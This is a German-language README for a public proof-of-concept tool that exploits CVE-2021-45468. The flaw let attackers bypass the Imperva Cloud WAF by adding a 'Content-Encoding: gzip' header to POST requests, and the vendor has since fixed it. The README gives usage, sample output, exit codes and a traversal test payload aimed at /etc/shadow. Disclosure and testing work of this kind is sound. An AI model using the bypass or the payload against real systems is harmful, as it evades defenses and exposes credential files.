
Exploit für CVE-2021-45468, ein Imperva-WAF-Bypass.
Imperva Cloud WAF war anfällig für einen Bypass, der es Angreifern ermöglicht, WAF-Regeln zu umgehen, wenn schädliche HTTP-POST-Payloads gesendet werden, wie z.B. Log4j-Exploits, SQL-Injection, Befehlseinschleusung, Directory Traversal, XXE usw.
Das Imperva-Team nahm dies vom Zeitpunkt der Meldung an sehr ernst und setzte innerhalb weniger Tage eine globale Behebung um. Anerkennung dafür. Alle Kunden von Cloud WAF wurden automatisch ab dem 22. Dezember 2021 aktualisiert. Die Zusammenarbeit mit Imperva war großartig; das Unternehmen verfügt eindeutig über ein ausgereiftes, kompetentes und leistungsfähiges Sicherheitsteam.
Fügen Sie den Header Content-Encoding: gzip zu HTTP-POST-Anfragen hinzu. Lassen Sie die POST-Daten unverändert. Codieren Sie sie nicht. Solange die ersten vier Bytes des Content-Encoding-Headers gzip sind, werden keine WAF-Regeln auf POST-Anfragen angewendet.
Sie können dies in Burp mit der Funktion „Match & Replace“ des Proxys tun:

Fügen Sie einen neuen Header wie folgt hinzu:

Das war's; Sie können loslegen.
Führen Sie imperva_gzip.py gegen eine URL aus, die POST-Anfragen unterstützt, wie folgt:
Syntax:
./imperva_gzip.py [[-t] | [-r]] URL
Erraten des WAF-Typs für eine bestimmte URL:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
Prüfen, ob die WAF anfällig für den gzip-Bypass ist:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Können wir POST-Anfragen an https://www.vulnerable.com/search stellen?
[+] Prüfe auf Imperva WAF...
[+] Versuche gzip-Bypass für UNIX-Trigger...
[+] Anfällig! HTTP-Antwortcode: 200
[+] Versuche gzip-Bypass für Windows-Trigger...
[+] Anfällig! HTTP-Antwortcode: 200
Wenn Sie diesen Fehler erhalten:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Können wir POST-Anfragen an https://www.vulnerable.com/search stellen?
[!] POST an https://www.vulnerable.com/search nicht möglich. Versuchen Sie -r, wenn 30x-Weiterleitungen erlaubt sind. HTTP-Antwortcode: 302
versuchen Sie, -r in der Befehlszeile zu übergeben, um den entspannten Modus zu aktivieren. Der entspannte Modus ist standardmäßig deaktiviert, was bedeutet, dass eine POST-Anfrage eine HTTP-200-Antwort vom Server erwarten soll. -r erweitert die akzeptablen Antworten auf HTTP 2xx, 3xx.
Die Exitcodes für imperva_gzip.py sind wie folgt:
0: Zurückgegeben nach Ermittlung des WAF-Typs.
1: Befehlszeile ungültig.
2: Verbindungsfehler aufgetreten. Kann DNS-Fehler, Timeout usw. sein.
3: Keine WAF erkannt; schädliche UNIX/Windows-Payloads wurden nicht blockiert.
4: Eine WAF wurde erkannt, aber es war nicht Imperva.
5: Der Server antwortete auf eine Test-POST-Anfrage mit etwas anderem als HTTP 200.
128: Es gibt eine Imperva WAF, aber sie ist nicht anfällig für den gzip-Bypass.
129: Der Bypass war für die UNIX-Payload wirksam, aber nicht für die Windows-Payload.
130: Der Bypass war für die Windows-Payload wirksam, aber nicht für die UNIX-Payload.
131: Der Bypass war sowohl gegen Windows- als auch gegen UNIX-Payloads wirksam.
Senden Sie drei POST-Anfragen:
&test=../../../../../../../etc/shadow im Body, um zu überprüfen, dass Imperva sie blockiertContent-Encoding: gzip zu derselben bösartigen Anfrage hinzu und überprüfen Sie, dass Imperva sie nicht blockiertLaut https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding gibt es vier gültige Werte für den Content-Encoding-Header:
compressdeflategzipbrIn Tests funktionierte nur gzip als Bypass.
Cloud WAF wird von Imperva verwaltet. Daher betreffen Updates für Cloud WAF fast alle Kunden nahezu gleichzeitig. Es wurde für alle Kunden ab dem 22. Dezember 2021 aktualisiert.
Der gzip-Bypass-Fehler wurde in einem separaten Imperva-Produkt namens SecureSphere behoben. Die Versionshinweise für v12.6 von SecureSphere enthalten diesen Absatz:
SPHR-58185: Wenn SecureSphere den POST-Body in Anfragen mit dem Header "Content-Encoding: gzip/deflate" nicht dekomprimieren konnte, wurde keine Warnung ausgegeben und die Anfrage durchgelassen.
Ich bin mir ziemlich sicher, dass dies derselbe Fehler ist, möglicherweise mit derselben Code-Herkunft wie Cloud WAF ... es ist ein ziemlich spezifischer Fehler, um in zwei Produkten aufzutreten. Das Problem wurde für SecureSphere im Februar 2021 behoben, aber wir wissen nicht, wann es eingeführt wurde. Es ist möglich, dass die Schwachstelle seit Jahren bestand!
Imperva Kundensupport: https://www.imperva.com/support/technical-support/